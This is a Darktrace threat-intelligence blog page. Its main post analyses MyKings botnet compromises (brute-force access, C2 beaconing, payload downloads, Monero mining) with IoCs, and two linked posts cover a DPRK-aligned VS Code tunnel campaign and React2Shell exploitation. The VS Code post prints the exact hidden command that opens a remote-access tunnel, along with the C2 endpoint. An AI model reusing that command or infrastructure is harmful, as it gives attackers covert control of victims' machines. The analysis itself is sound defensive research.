December 6, 2023

How Darktrace Triumphed Over MyKings Botnet

Darktrace has provided full visibility over the MyKings botnet kill chain from the beginning of its infections to the eventual cryptocurrency mining activity.

Written by

Oluwatosin Aturaka

Analyst Team Lead, Cambridge

Inside the SOC

Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.

Written by

Oluwatosin Aturaka

Analyst Team Lead, Cambridge

Dec 2023

Botnets: A persistent cyber threat

Since their appearance in the wild over three decades ago, botnets have consistently been the attack vector of choice for many threat actors. The most prevalent of these attack vectors are distributed denial of service (DDoS) and phishing campaigns. Their persistent nature means that even if a compromised device in identified, attackers can continue to operate by using the additional compromised devices they will likely have on the target network. Similarly, command and control (C2) infrastructure can easily be restructured between infected systems, making it increasingly difficult to remove the infection.

MyKings Botnet

One of the most prevalent and sophisticated examples in recent years is the MyKings botnet, also known as Smominru or DarkCloud. Darktrace has observed numerous cases of MyKings botnet compromises across multiple customer environments in several different industries as far back as August 2022. The diverse tactics, techniques, and procedures (TTPs) and sophisticated kill chains employed by MyKings botnet may prove a challenge to traditional rule and signature-based detections.

However, Darktrace’s anomaly-centric approach enabled it to successfully detect a wide-range of indicators of compromise (IoCs) related to the MyKings botnet and bring immediate awareness to customer security teams, as it demonstrated on the network of multiple customers between March and August 2023.

Background on MyKings Botnet

MyKings has been active and spreading steadily since 2016 resulting in over 520,000 infections worldwide.^[1] Although verified attribution of the botnet remains elusive, the variety of targets and prevalence of crypto-mining software on affected devices suggests the threat group behind the malware is financially motivated. The operators behind MyKings appear to be highly opportunistic, with attacks lacking an obvious specific target industry. Across Darktrace’s customer base, the organizations affected were representative of multiple industries such as entertainment, mining, education, information technology, health, and transportation.

Given its longevity, the MyKings botnet has unsurprisingly evolved since its first appearance years ago. Initial analyses of the botnet showed that the primary crypto-related activity on infected devices was the installation of Monero-mining software. However, in 2019 researchers discovered a new module within the MyKings malware that enabled clipboard-jacking, whereby the malware replaces a user's copied cryptowallet address with the operator's own wallet address in order to siphon funds.^[2]

Similar to other botnets such as the Outlaw crypto-miner, the MyKings botnet can also kill running processes of unrelated malware on the compromised hosts that may have resulted from prior infection.^[3] MyKings has also developed a comprehensive set of persistence techniques, including: the deployment of bootkits, initiating the botnet immediately after a system reboot, configuring Registry run keys, and generating multiple Scheduled Tasks and WMI listeners.^[4] MyKings have also been observed rotating tools and payloads over time to propagate the botnet. For example, some operators have been observed utilizing PCShare, an open-source remote access trojan (RAT) customized to conduct C2 services, execute commands, and download mining software^[5].

Darktrace Coverage

Across observed customer networks between March and August 2023, Darktrace identified the MyKings botnet primarily targeting Windows-based servers that supports services like MySQL, MS-SQL, Telnet, SSH, IPC, WMI, and Remote Desktop (RDP). In the initial phase of the attack, the botnet would initiate a variety of attacks against a target including brute-forcing and exploitation of unpatched vulnerabilities on exposed servers. The botnet delivers a variety of payloads to the compromised systems including worm downloaders, trojans, executable files and scripts.

This pattern of activity was detected across the network of one particular Darktrace customer in the education sector in early March 2023. Unfortunately, this customer did not have Darktrace RESPOND™ deployed on their network at the time of the attack, meaning the MyKings botnet was able to move through the cyber kill chain ultimately achieving its goal, which in this case was mining cryptocurrency.

Initial Access

On March 6, Darktrace observed an internet-facing SQL server receiving an unusually large number of incoming MySQL connections from the rare external endpoint 171.91.76[.]31 via port 1433. While it is not possible to confirm whether these suspicious connections represented the exact starting point of the infection, such a sudden influx of SQL connection from a rare external endpoint could be indicative of a malicious attempt to exploit vulnerabilities in the server's SQL database or perform password brute-forcing to gain unauthorized access. Given that MyKings typically spreads primarily through such targeting of internet-exposed devices, the pattern of activity is consistent with potential initial access by MyKings.^[6]

Initial Command and Control

The device then proceeded to initiate a series of repeated HTTP connections between March 6 and March 10^, to the domain www[.]back0314[.]ru (107.148.239[.]111). These connections included HTTP GET requests featuring URIs such as ‘/back.txt', suggesting potential beaconing and C2 communication. The device continued this connectivity to the external host over the course of four days, primarily utilizing destination ports 80, and 6666. While port 80 is commonly utilized for HTTP connections, port 6666 is a non-standard port for the protocol. Such connectivity over non-standard ports can indicate potential detection evasion and obfuscation tactics by the threat actors. During this time, the device also initiated repeated connections to additional malicious external endpoints with seemingly algorithmically generated hostnames such as pc.pc0416[.]xyz.

Darktrace UI image — Figure 1: Model breach showing details of the malicious domain generation algorithm (DGA) connections.

Tool Transfer

While this beaconing activity was taking place, the affected device also began to receive potential payloads from unusual external endpoints. On April 29, the device made an HTTP GET request for “/power.txt” to the endpoint 192.236.160[.]237, which was later discovered to have multiple open-source intelligence (OSINT) links to malware. Power.txt is a shellcode written in PowerShell which is downloaded and executed with the purpose of disabling Windows Defenders related functions.^[7] After the initial script was downloaded (and likely executed), Darktrace went on to detect the device making a series of additional GET requests for several varying compressed and executable files. For example, the device made HTTP requests for '/pld/cmd.txt' to the external endpoint 104.233.224[.]173. In response the external server provided numerous files, including ‘u.exe’, and ‘upsup4.exe’ for download, both of which share file names with previously identified MyKings payloads.

MyKings deploys a diverse array of payloads to expand the botnet and secure a firm position within a compromised system. This multi-faceted approach may render conventional security measures less effective due to the intricacies of and variety of payloads involved in compromises. Darktrace, however, does not rely on static or outdated lists of IoCs in order to detect malicious activity. Instead, DETECT’s Self-Learning AI allows it to identify emerging compromise activity by recognizing the subtle deviations in an affected device’s behavior that could indicate it has fallen into the hands of malicious actors.

Figure 2: External site summary of the endpoint 103.145.106[.]242 showing the rarity of connectivity to the external host.

Achieving Objectives – Crypto-Mining

Several weeks after the initial payloads were delivered and beaconing commenced, Darktrace finally detected the initiation of crypto-mining operations. On May 27, the originally compromised server connected to the rare domain other.xmrpool[.]ru over port 1081. As seen in the domain name, this endpoint appears to be affiliated with pool mining activity and the domain has various OSINT affiliations with the cryptocurrency Monero coin. During this connection, the host was observed passing Monero credentials, activity which parallels similar mining operations observed on other customer networks that had been compromised by the MyKings botnet.

Although mining activity may not pose an immediate or urgent concern for security unauthorized cryptomining on devices can result in detrimental consequences, such as compromised hardware integrity, elevated energy costs, and reduced productivity, and even potential involvement in money laundering.

Figure 3: Event breach log showing details of the connection to the other.xmrpool[.]ru endpoint associated with cryptocurrency mining activity.

Conclusion

Detecting future iterations of the MyKings botnet will likely demand a shift away from an overreliance on traditional rules and signatures and lists of “known bads”, instead requiring organizations to employ AI-driven technology that can identify suspicious activity that represents a deviation from previously established patterns of life.

Despite the diverse range of payloads, malicious endpoints, and intricate activities that constitute a typical MyKing botnet compromise, Darktrace was able successfully detect multiple critical phases within the MyKings kill chain. Given the evolving nature of the MyKings botnet, it is highly probable the botnet will continue to expand and adapt, leveraging new tactics and technologies. By adopting Darktrace’s product of suites, including Darktrace DETECT, organizations are well-positioned to identify these evolving threats as soon as they emerge and, when coupled with the autonomous response technology of Darktrace RESPOND, threats like the MyKings botnet can be stopped in their tracks before they can achieve their ultimate goals.

Credit to: Oluwatosin Aturaka, Analyst Team Lead, Cambridge, Adam Potter, Cyber Analyst

Appendix

IoC Table

IoC - Type - Description + Confidence

162.216.150[.]108- IP - C2 Infrastructure

103.145.106[.]242 - IP - C2 Infrastructure

137.175.56[.]104 - IP - C2 Infrastructure

138.197.152[.]201 - IP - C2 Infrastructure

139.59.74[.]135 - IP - C2 Infrastructure

pc.pc0416[.]xyz - Domain - C2 Infrastructure (DGA)

other.xmrpool[.]ru - Domain - Cryptomining Endpoint

xmrpool[.]ru - Domain - Cryptomining Endpoint

103.145.106[.]55 - IP - Cryptomining Endpoint

ntuser[.]rar - Zipped File - Payload

/xmr1025[.]rar - Zipped File - Payload

/20201117[.]rar - Zipped File - Payload

wmi[.]txt - File - Payload

u[.]exe - Executable File - Payload

back[.]txt - File - Payload

upsupx2[.]exe - Executable File - Payload

cmd[.]txt - File - Payload

power[.]txt - File - Payload

ups[.]html - File - Payload

xmr1025.rar - Zipped File - Payload

171.91.76[.]31- IP - Possible Initial Compromise Endpoint

www[.]back0314[.]ru - Domain - Probable C2 Infrastructure

107.148.239[.]111 - IP - Probable C2 Infrastructure

194.67.71[.]99 - IP- Probable C2 Infrastructure

Darktrace DETECT Model Breaches

Device / Initial Breach Chain Compromise
Anomalous File / Masqueraded File Transfer (x37)
Compromise / Large DNS Volume for Suspicious Domain
Compromise / Fast Beaconing to DGA
Device / Large Number of Model Breaches
Anomalous File / Multiple EXE from Rare External Locations (x30)
Compromise / Beacon for 4 Days (x2)
Anomalous Server Activity / New User Agent from Internet Facing System
Anomalous Connection / New User Agent to IP Without Hostname
Anomalous Server Activity / New Internet Facing System
Anomalous File / EXE from Rare External Location (x37)
Device / Large Number of Connections to New Endpoints
Anomalous Server Activity / Server Activity on New Non-Standard Port (x3)
Device / Threat Indicator (x3)
Unusual Activity / Unusual External Activity
Compromise / Crypto Currency Mining Activity (x37)
Compliance / Internet Facing SQL Server
Device / Anomalous Scripts Download Followed By Additional Packages
Device / New User Agent

MITRE ATT&CK Mapping

ATT&CK Technique - Technique ID

Reconnaissance – T1595.002 Vulnerability Scanning

Resource Development – T1608 Stage Capabilities

Resource Development – T1588.001 Malware

Initial Access – T1190 Exploit Public-Facing Application

Command and Control – T15568.002 Domain Generated Algorithms

Command and Control – T1571 Non-Standard Port

Execution – T1047 Windows Management Instrumentation

Execution – T1059.001 Command and Scripting Interpreter

Persistence – T1542.003 Pre-OS Boot

Impact – T1496 Resource Hijacking

References

^[1] https://www.binarydefense.com/resources/threat-watch/mykings-botnet-is-growing-and-remains-under-the-radar/

^[2] https://therecord.media/a-malware-botnet-has-made-more-than-24-7-million-since-2019

^[3] https://www.darktrace.com/blog/outlaw-returns-uncovering-returning-features-and-new-tactics

^[4] https://www.sophos.com/en-us/medialibrary/pdfs/technical-papers/sophoslabs-uncut-mykings-report.pdf

^[5] https://www.antiy.com/response/20190822.html

^[6] https://ethicaldebuggers.com/mykings-botnet/

^[7] https://ethicaldebuggers.com/mykings-botnet/

執筆者

Oluwatosin Aturaka

Analyst Team Lead, Cambridge

Inside the SOC

Written by

Oluwatosin Aturaka

Analyst Team Lead, Cambridge

Senior Director of Product, Cloud | Darktrace

Watch the NIS2 Webinar

Blog

Network

January 22, 2026

Darktrace Identifies Campaign Targeting South Korea Leveraging VS Code for Remote Access

Introduction

Darktrace analysts recently identified a campaign aligned with Democratic People’s Republic of Korea (DPRK) activity that targets users in South Korea, leveraging Javascript Encoded (JSE) scripts and government-themed decoy documents to deploy a Visual Studio Code (VS Code) tunnel to establish remote access.

Technical analysis

Figure 1: Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.

The sample observed in this campaign is a JSE file disguised as a Hangul Word Processor (HWPX) document, likely sent to targets via a spear-phishing email. The JSE file contains multiple Base64-encoded blobs and is executed by Windows Script Host. The HWPX file is titled “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026 (1)” in C:\ProgramData and is opened as a decoy. The Hangul documents impersonate the Ministry of Personnel Management, a South Korean government agency responsible for managing the civil service. Based on the metadata within the documents, the threat actors appear to have taken the documents from the government’s website and edited them to appear legitimate.

The script then downloads the VSCode CLI ZIP archives from Microsoft into C:\ProgramData, along with code.exe (the legitimate VS Code executable) and a file named out.txt.

In a hidden window, the command cmd.exe /c echo | "C:\ProgramData\code.exe" tunnel --name bizeugene > "C:\ProgramData\out.txt" 2>&1 is run, establishinga VS Code tunnel named “bizeugene”.

VS Code tunnels allows users connect to a remote computer and use Visual Studio Code. The remote computer runs a VS Code server that creates an encrypted connection to Microsoft’s tunnel service. A user can then connect to that machine from another device using the VS Code application or a web browser after signing in with GitHub or Microsoft. Abuse of VS Code tunnels was first identified in 2023 and has since been used by Chinese Advance Persistent Threat (APT) groups targeting digital infrastructure and government entities in Southeast Asia [1].

The file “out.txt” contains VS Code Server logs along with a generated GitHub device code. Once the threat actor authorizes the tunnel from their GitHub account, the compromised system is connected via VS Code. This allows the threat actor to have interactive access over the system, with access to the VS Code’s terminal and file browser, enabling them to retrieve payloads and exfiltrate data.

Figure 5: GitHub screenshot after connection is authorized.

This code, along with the tunnel token “bizeugene”, is sent in a POST request to https://www.yespp.co.kr/common/include/code/out.php, a legitimate South Korean site that has been compromised is now used as a command-and-control (C2) server.

Conclusion

The use of Hancom document formats, DPRK government impersonation, prolonged remote access, and the victim targeting observed in this campaign are consistent with operational patterns previously attributed to DPRK-aligned threat actors. While definitive attribution cannot be made based on this sample alone, the alignment with established DPRK tactics, techniques, and procedures (TTPs) increases confidence that this activity originates from a DPRK state-aligned threat actor.

This activity shows how threat actors can use legitimate software rather than custom malware to maintain access to compromised systems. By using VS Code tunnels, attackers are able to communicate through trusted Microsoft infrastructure instead of dedicated C2 servers. The use of widely trusted applications makes detection more difficult, particularly in environments where developer tools are commonly installed. Traditional security controls that focus on blocking known malware may not identify this type of activity, as the tools themselves are not inherently malicious and are often signed by legitimate vendors.

Credit to Tara Gould (Malware Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Appendix

Indicators of Compromise (IoCs)

115.68.110.73 - compromised site IP

9fe43e08c8f446554340f972dac8a68c - 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse

MITRE ATTACK

T1566.001 - Phishing: Attachment

T1059 - Command and Scripting Interpreter

T1204.002 - User Execution

T1027 - Obfuscated Files and Information

T1218 - Signed Binary Proxy Execution

T1105 - Ingress Tool Transfer

T1090 - Proxy

T1041 - Exfiltration Over C2 Channel

References

[1] https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/

About the author

Blog

January 19, 2026

React2Shell Reflections: Cloud Insights, Finance Sector Impacts, and How Threat Actors Moved So Quickly

Introduction

Last month’s disclosure of CVE 2025-55812, known as React2Shell, provided a reminder of how quickly modern threat actors can operationalize newly disclosed vulnerabilities, particularly in cloud-hosted environments.

The vulnerability was discovered on December 3, 2025, with a patch made available on the same day. Within 30 hours of the patch, a publicly available proof-of-concept emerged that could be used to exploit any vulnerable server. This short timeline meant many systems remained unpatched when attackers began actively exploiting the vulnerability.

Darktrace researchers rapidly deployed a new honeypot to monitor exploitation of CVE 2025-55812 in the wild.

Within two minutes of deployment, Darktrace observed opportunistic attackers exploiting this unauthenticated remote code execution flaw in React Server Components, leveraging a single crafted request to gain control of exposed Next.js servers. Exploitation quickly progressed from reconnaissance to scripted payload delivery, HTTP beaconing, and cryptomining, underscoring how automation and pre‑positioned infrastructure by threat actors now compress the window between disclosure and active exploitation to mere hours.

For cloud‑native organizations, particularly those in the financial sector, where Darktrace observed the greatest impact, React2Shell highlights the growing disconnect between patch availability and attacker timelines, increasing the likelihood that even short delays in remediation can result in real‑world compromise.‍

Cloud insights

In contrast to traditional enterprise networks built around layered controls, cloud architectures are often intentionally internet-accessible by default. When vulnerabilities emerge in common application frameworks such as React and Next.js, attackers face minimal friction. No phishing campaign, no credential theft, and no lateral movement are required; only an exposed service and exploitable condition.

The activity Darktrace observed during the React2shell intrusions reflects techniques that are familiar yet highly effective in cloud-based attacks. Attackers quickly pivot from an exposed internet-facing application to abusing the underlying cloud infrastructure, using automated exploitation to deploy secondary payloads at scale and ultimately act on their objectives, whether monetizing access through cryptomining or to burying themselves deeper in the environment for sustained persistence.

Cloud Case Study

In one incident, opportunistic attackers rapidly exploited an internet-facing Azure virtual machine (VM) running a Next.js application, abusing the React/next.js vulnerability to gain remote command execution within hours of the service becoming exposed. The compromise resulted in the staged deployment of a Go-based remote access trojan (RAT), followed by a series of cryptomining payloads such as XMrig.

Initial Access

Initial access appears to have originated from abused virtual private network (VPN) infrastructure, with the source IP (146.70.192[.]180) later identified as being associated with Surfshark

Figure 1: The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.

The use of commercial VPN exit nodes reflects a wider trend of opportunistic attackers leveraging low‑cost infrastructure to gain rapid, anonymous access.

Parent process telemetry later confirmed execution originated from the Next.js server, strongly indicating application-layer compromise rather than SSH brute force, misused credentials, or management-plane abuse.

Payload execution

Shortly after successful exploitation, Darktrace identified a suspicious file and subsequent execution. One of the first payloads retrieved was a binary masquerading as “vim”, a naming convention commonly used to evade casual inspection in Linux environments. This directly ties the payload execution to the compromised Next.js application process, reinforcing the hypothesis of exploit-driven access.

Command-and-Control (C2)

Network flow logs revealed outbound connections back to the same external IP involved in the inbound activity. From a defensive perspective, this pattern is significant as web servers typically receive inbound requests, and any persistent outbound callbacks — especially to the same IP — indicate likely post-exploitation control. In this case, a C2 detection model alert was raised approximately 90 minutes after the first indicators, reflecting the time required for sufficient behavioral evidence to confirm beaconing rather than benign application traffic.

Cryptominers deployment and re-exploitation

Following successful command execution within the compromised Next.js workload, the attackers rapidly transitioned to monetization by deploying cryptomining payloads. Microsoft Defender observed a shell command designed to fetch and execute a binary named “x” via either curl or wget, ensuring successful delivery regardless of which tooling was availability on the Azure VM.

The binary was written to /home/wasiluser/dashboard/x and subsequently executed, with open-source intelligence (OSINT) enrichment strongly suggesting it was a cryptominer consistent with XMRig‑style tooling. Later the same day, additional activity revealed the host downloading a static XMRig binary directly from GitHub and placing it in a hidden cache directory (/home/wasiluser/.cache/.sys/).

The use of trusted infrastructure and legitimate open‑source tooling indicates an opportunistic approach focused on reliability and speed. The repeated deployment of cryptominers strongly suggests re‑exploitation of the same vulnerable web application rather than reliance on traditional persistence mechanisms. This behavior is characteristic of cloud‑focused attacks, where publicly exposed workloads can be repeatedly compromised at scale more easily.

Financial sector spotlight

During the mass exploitation of React2Shell, Darktrace observed targeting by likely North Korean affiliated actors focused on financial organizations in the United Kingdom, Sweden, Spain, Portugal, Nigeria, Kenya, Qatar, and Chile.

The targeting of the financial sector is not unexpected, but the emergence of new Democratic People’s Republic of Korea (DPRK) tooling, including a Beavertail variant and EtherRat, a previously undocumented Linux implant, highlights the need for updated rules and signatures for organizations that rely on them.

EtherRAT uses Ethereum smart contracts for C2 resolution, polling every 500 milliseconds and employing five persistence mechanisms. It downloads its own Node.js runtime from nodejs[.]org and queries nine Ethereum RPC endpoints in parallel, selecting the majority response to determine its C2 URL. EtherRAT also overlaps with the Contagious Interview campaign, which has targeted blockchain developers since early 2025.

Threat actor behavior and speed

Darktrace’s honeypot was exploited just two minutes after coming online, demonstrating how automated scanning, pre-positioned infrastructure and staging, and C2 infrastructure traced back to “bulletproof” hosting reflects a mature, well‑resourced operational chain.

For financial organizations, particularly those operating cloud‑native platforms, digital asset services, or internet‑facing APIs, this activity demonstrates how rapidly geopolitical threat actors can weaponize newly disclosed vulnerabilities, turning short patching delays into strategic opportunities for long‑term access and financial gain. This underscores the need for a behavioral-anomaly-led security posture.

Credit to Nathaniel Jones (VP, Security & AI Strategy, Field CISO) and Mark Turner (Specialist Security Researcher)

Edited by Ryan Traill (Analyst Content Lead)

Appendices

Indicators of Compromise (IoCs)

146.70.192[.]180 – IP Address – Endpoint Associated with Surfshark

References

https://www.darktrace.com/resources/the-state-of-cybersecurity-in-the-finance-sector

About the author

Nathaniel Jones

VP, Security & AI Strategy, Field CISO

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Check out this article by Darktrace: How Darktrace Triumphed Over MyKings Botnet

How Darktrace Triumphed Over MyKings Botnet

Botnets: A persistent cyber threat

MyKings Botnet

Background on MyKings Botnet

Darktrace Coverage

Initial Access

Initial Command and Control

Tool Transfer

Achieving Objectives – Crypto-Mining

Conclusion

Appendix

IoC Table

Darktrace DETECT Model Breaches

MITRE ATT&CK Mapping

References

Darktrace Identifies Campaign Targeting South Korea Leveraging VS Code for Remote Access

Runtime Is Where Cloud Security Really Counts: The Importance of Detection, Forensics and Real-Time Architecture Awareness

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More in this series

Darktrace Identifies Campaign Targeting South Korea Leveraging VS Code for Remote Access

Maduro Arrest Used as a Lure to Deliver Backdoor

Under Medusa’s Gaze: How Darktrace Uncovers RMM Abuse in Ransomware Campaigns

Blog

Network

January 22, 2026

Darktrace Identifies Campaign Targeting South Korea Leveraging VS Code for Remote Access

Introduction

Technical analysis

Conclusion

Appendix

Indicators of Compromise (IoCs)

MITRE ATTACK

References

Blog

January 19, 2026

React2Shell Reflections: Cloud Insights, Finance Sector Impacts, and How Threat Actors Moved So Quickly

Introduction

Cloud insights

Cloud Case Study

Initial Access

Payload execution

Command-and-Control (C2)

Cryptominers deployment and re-exploitation

Financial sector spotlight

Read more finance‑sector insights in Darktrace’s white paper, The State of Cyber Security in the Finance Sector.

Threat actor behavior and speed

Appendices